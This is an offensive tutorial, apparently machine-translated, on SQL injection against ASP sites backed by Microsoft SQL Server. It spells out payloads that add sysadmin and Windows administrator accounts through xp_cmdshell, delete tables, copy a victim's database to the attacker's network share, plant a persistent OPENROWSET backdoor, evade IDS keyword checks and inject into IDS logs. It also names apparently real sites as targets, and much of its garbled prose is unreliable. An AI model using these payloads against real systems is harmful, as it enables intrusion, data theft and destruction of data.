For many news, BBS and e-commerce websites use ASP SQL design, and many programmers who write ASP (there are many new graduation), so ASP SQL's attack success rate is also relatively high. This type of attack method and NT version and SQL version have no big relationship, and there is no corresponding patch because the vulnerability is caused by the programmer, and most of the books of the ASP programming, the source code example has this vulnerability In fact, only some legal ASP requests for SQL, leave after the suffering!
This attack method originated from the vulnerability of 'or'1' = '1 (we call it as a vulnerability), the principle of this vulnerability I think everyone should know, then, then the same; execSp_addlogin HAX (Add a HAX user in the database), but this method is limited, first ASP uses the SQL Server account is an administrator, followed by the submission variable in the entire SQL statement, because some programmers use Select * from FROM News where id = ... and Topic = ... and .....
This method requests the database, then if the above example will use the above example will be news.asp? Id = 2; exec sp_addlogin Hax becomes select * from news where id = 2; exec sp_addlogin hax and topic = ... And ... The entire SQL statement has an AND and judgment in the stored procedure of sp_addlogin, the syntax error, your sp_addlogin naturally doesn't work normally, so try the following
law:
News.asp? id = 2; exec sp_addlogin Hax; -
The back-symbol turns the judgment statement after sp_addlogin to comment, so there is no syntax error, sp_addlogin is executed normally!
So let's use it together.
News.asp? id = 2; exec master.dbo.sp_addlogin Hax; -
News.asp? id = 2; exec master.dbo.sp_password null, hax, hax;
News.asp? id = 2; exec master.dbo.sp_addsrvrolemember sysadmin Hax;
News.asp? id = 2; exec master.dbo.xp_cmdshell 'net user Hax Hax / Workstations: * / Times: All / Passwordchg: Yes / PasswordReq: YES
/ ACTIVE: YES / Add ';
News.asp? id = 2; exec master.dbo.xp_cmdshell 'net localgroup administrators Hax / add';
In this way, you have left the HAX administrator account in his database and the system. Of course, the premise is the ASP administrator account, so don't try this vulnerability. We will discuss later, if the other party's ASP does not use the SQL administrator account, how we invaded, of course, will also involve the invasion of the 1433 port. Of course, everyone can try to add a 'symbol after ID = 2, mainly watching each other How to write ASP.
Let's talk about how we do when the SQL account used by the ASP program is not administrator. You have news content as the homepage of Heaven, as follows:
Http://www.talent.com.cn/news/news-2.asp?newid=117 you can try to see http://www.talentitit.com.cn/news/news-2.asp?newid=117 , SELECT 123; - Oh, report syntax error, SELECT 123 error, obvious, Tianle new ASP ends with the 'number after the newID variable, then try to see http://www.talentititit.com.cn/news/news -2.asp? Newid = 117 '; delete news; - haha, I want to be deleted as long as the table name is guested.
Usually the SQL account for ASP is not an administrator or an Owner of a database, at least for this library has high management privileges.
But we don't know how the library is? Take a look at the db_name () function. Open your query analyzer to see print db_name (), huh, huh, the current database name is coming out.
Push as the subkey, as follows: declare @a sysname; set @ a = db_name (); backup database @a to disk = 'your ip Your shared directory Bak.dat', name = 'test'; - Oh, he The current database is backed up to your hard drive, you will understand it in your heart. Similarly, this method can find the other's SQL IP, first install a firewall, open ICMP and 139TCP and 445TCP warning tips, then try to see news.Aasp? Id = 2; exec master.dbo.xp_cmdshell 'ping your IP, If the firewall prompts someone ping you, then it can be sure the other ASP is SQL administrator privilege, and it also determines the exact location of the other SQL Server, because many of the big websites consider performance, WEB services and The database is separated, and when the other party does not see the source code, I think there is only this method to locate the position of the other SQL Server.
So, if the other ASP does not have SQL administrator privileges, we can't call XP_cmdshell, what should I do?
Don't worry, try this news.asp? Id = 2; declare @a; set @ a = db_name (); backup database @a to disk = 'your IP Your shared directory Bak.dat', Name = 'TEST '; - Oh, your firewall should warn, someone connects to your 445 or 139 (Win9 port, so that the other SQL IP can also be exposed.
So what should we do if the other party is not Owner? Next time I will tell you a better way.
In fact, Backuo Database is a bit exaggerated to your hard drive. If the other database is very large, you are dialing Internet, huh, huh, persuade you to do not try it, it is difficult to transfer. Next time we talk about how to deceive IDS to perform ASP SQL invasion.
There are some good IDs that have already begun to monitor the keywords of xp_cmdshell, ok, comrades will meet next time!
All the above URLs I hope that you will submit through VBScript because the browser's address bar will block some special characters, so your command cannot be fully transmitted for Window.Location.herf = URL
Supplement: This problem has been raised on the web, but only some simple XP_cmdshell call limit is limited, in fact, there are many places worth in-depth, such as www.guosen.com.cn. There is this problem with the national agency certificate, and they use the three-story structure of the MS to use the XP_cmdshell approach to the previous XP_cmdshell, and the string will be filtered, but I tried, the use of SQL's heterogeneous requests can still be on the other. Machine Open the account of Telnet service and administrators group! Since the opponent's firewall is very cheap checkpoint datagram, only open the 80-port, therefore, if you want to get his database structure, it is still possible to do it: p. By the way, everyone will pay attention to SQLOLOLEDB, DB_NAME, OPENROWSET, OPENDASOSOURCE these system functions When ASP's SQLServer account is just a normal user, they will be useful!
SQL Server new vulnerabilities and some breakthroughs
Below I will talk about some sqlserver new bugs, although I have been working hard, of course, I have a little lucky component, I have to find it, I don't dare to enjoy alone, please come out, please identify, of course, it is likely some Master has already known, after all, I have been in contact with SQLServer less than 1 year: P
1. About OpenRowSet and OpenDataSource
Maybe this skill has already been there, that is, using OpenRowSet to send a local command.
Usually our usage is (including MSDN's list) as follows
Select * from OpenRowSet ('sqloledb', 'myserver'; 'sa'; '', 'SELECT * from Table')
It can be seen (even in the literal sense) OpenRowset is just as a quick remote database access, it must be followed in SELECT, that is, if you need to return a recordset
So can we use it to call XP_CMDSHELL? The answer is yes!
Select * from OpenRowSet ('SQLOLEDB', 'Server'; 'SA'; '', 'Set FMTONLY OFF EXEC MASTER.DBO.XP_CMDSHELL' 'DIR C: /' ')
Must coupled with SET FMTONLY OFF to block the settings of the default return column information, so the output collection returned by XP_cmdshell will be submitted to the previous SELECT display. If the default setting is used, it will return the empty collection caused the select error, the command can not be Execute it.
Then if we want to call sp_addlogin, he will not return any collection like XP_cmdshell, we can't rely on FMTONLY, you can do the SELECT * from OpenRowSet ('SQLOLEDB', 'Server'; 'SA', '', 'select' 'OK!' 'exec master.dbo.sp_addlogin hectic'), so that the command will return to the collection of select 'ok!', your machine chamber shows OK!, the other party's database will also add a hectic The account, that is, we use Select 'OK!' To deceive the local SELECT request, which is the command to be executed normally, the cleaning sp_addsrvroleMember and OpenDataSource can also do this! Until
This method is really useful, everyone thinks,: P
2. Problems about MSDasql twice
I don't know if you have tried the MSDasql to connect the remote database. Of course, this API must be administrators of SQL Server to call, so as the following Select * from OpenRowSet ('msdasql', 'driver =; server = server; address = Server, 1433 UID = SA; pwd =; database = master; network = dbmssocn ',' select * from table1 select * windtable2 ') When the number of fields of Table1 and Table2 is not the same, you will find that the other's SQL Server crashed, connect local connection I will fail, and the system resource takes us everything. After killing the SQL Server process with pskill, if the machine is not restarted, SQL Server does not start properly, or often illegal operation, I just happen to find this bug, I haven't touched the specific reason I haven't touched it. Pulse, and very strange is that this phenomenon only appears on MSDasql. Sqloledb has no such problem. It seems that the problem is not to request the number of collections and the number of returns. Because it is a problem, concrete reasons, everyone Slowly study: P
3. Terrible back door
I used to see someone on the Internet that after SQL Server stayed in the door can be done by adding Triger, Jobs, or overwriting sp_addlogin and sp_addsrvroleMember, but it is easy to discover. I don't know if you have thought about the local connection map of SQLOLOLDB. Oh, if you perform the following command * from openrowset ('sqloledb', 'trusted_connection = yes; data source = hectic', 'set fmtonly off exec master..xp_cmdshell' Dir c: / '' ') This map is established on the other's SQL Server, as long as SQLServer does not restart, this map will always exist, at least I still don't know how to find the connection mapped by others. Ok, after the above command runs, you will find that even if SQL Server doesn't have any permissions, you can run the same as you can pass! And the permissions are Localsystem! (Default installation) huh! This method can be used to leave a back door with SQL Server that has been invaded by administrator privileges.
The above method passes on SQL Server2000 SQLServer 200SP1!
* There is another guess. I don't know if you haven't pay more attention to the two DSNs included with Windows. One is the LocalServer one is MSQi. These two are the local administrator account connection SQLServer, if the other party's SQL Server is By starting with custom Power User, then the permissions of SA are the same as Power User, it is difficult to make a big, but we pass select * from openrowset ('msdasql', 'dsn = locaserver; trusted_connection = yes', 'set fmtonly off eXec master..xp_cmdshell' 'Dir C: /' ') You can use localServer's administrator account to connect to local SQLServer and then perform local commands with this account permission. This is, I think it should be able to break through. The SA is Power User permission. The current problem is that SQLOLEDB cannot call the DSN connection, and the MSDasql non-administrator does not let the call, so I am looking for guest calls MSDasql method If someone knows how this bug broke through, or there is a new idea, we can discuss it together, this Distribution If you can successfully be utilized by Guest, it will be a very serious security vulnerability. Because any SQL statements mentioned earlier can be submitted to the other party's ASP to help us execute:
Use T-SQL to deceive IDS or attack IDS
The current IDS has become more and smarter.
Some IDs have joined XP_cmdshell sp_addlogin monitoring, but after all, there is always a sense of deception today. Let me talk about deception IDS:
Ids Since we monitor the XP_cmdshell keyword, then we can do this, declare @a sysname set @ a = "xp _" "cmdshell" EXEC @a 'Dir C: /' This code is like everyone can understand, and XP_cmdshell As a Store Procedure there is an ID number in the Master library, fixed, we can also do this,
Suppose this id = 988456
Declare @a sysname select @ a = name from sysobjects where id = 988456 exec @a 'DIR C: /'
Of course
Declare @a sysname select @ a = name from sysobjects where id = 988455 1 exec @a 'DIR C: /'
This approach is arranged, and IDS can't do it all over.
Similarly, sp_addlogin can also do this.
Let's talk about attack IDs:
Because the amount of IDS is large, day is usually backed up to regular database, such as SQL Server
If you use an old RecordSet.Addnew approach, you will seriously affect the performance of IDS, because T-SQL requests are made through ADO, not only high efficiency, but also some work can be handed over to SQL Server.
Usually the program will write this: INSERT TABLE VALUES ('Day to Content', ...)
So I think about it, if you use Temp ') exec Xp_cmdshell' DIR C: / '-, it will become
Insert Table Values ('Day to Content' .... 'Temp') Exec Xp_cmdshell 'DIR C: /' - '), this, XP_cmdshell can run in the IDS database, of course Ids is a sniper, He will catch all the news, and the browser will turn the space into% 20, so% 20 will be submitted to SQL Server, so your command cannot be executed, the only way is INSERT / ** / Table / ** / value ('Day to content' .... 'Temp') / ** / exec / ** / xp_cmdshell / ** / 'DIR C: /' / ** / - ') ** / instead of the space to do spacer, so your T-SQL can be executed within the IDS database, of course, you can use other statements, you can destroy, back up the IDS database to your shared directory. Ha ha ...
In fact, the principles and attack ASPs of this method are the same, but the space becomes / ** /, the ASP is a SELECT statement, then "can block the Ids Now Ids with the insert statement, then use ') shield.
Ok, many other new invasive statements can slowly think, the best test tool is Query Analyzer.
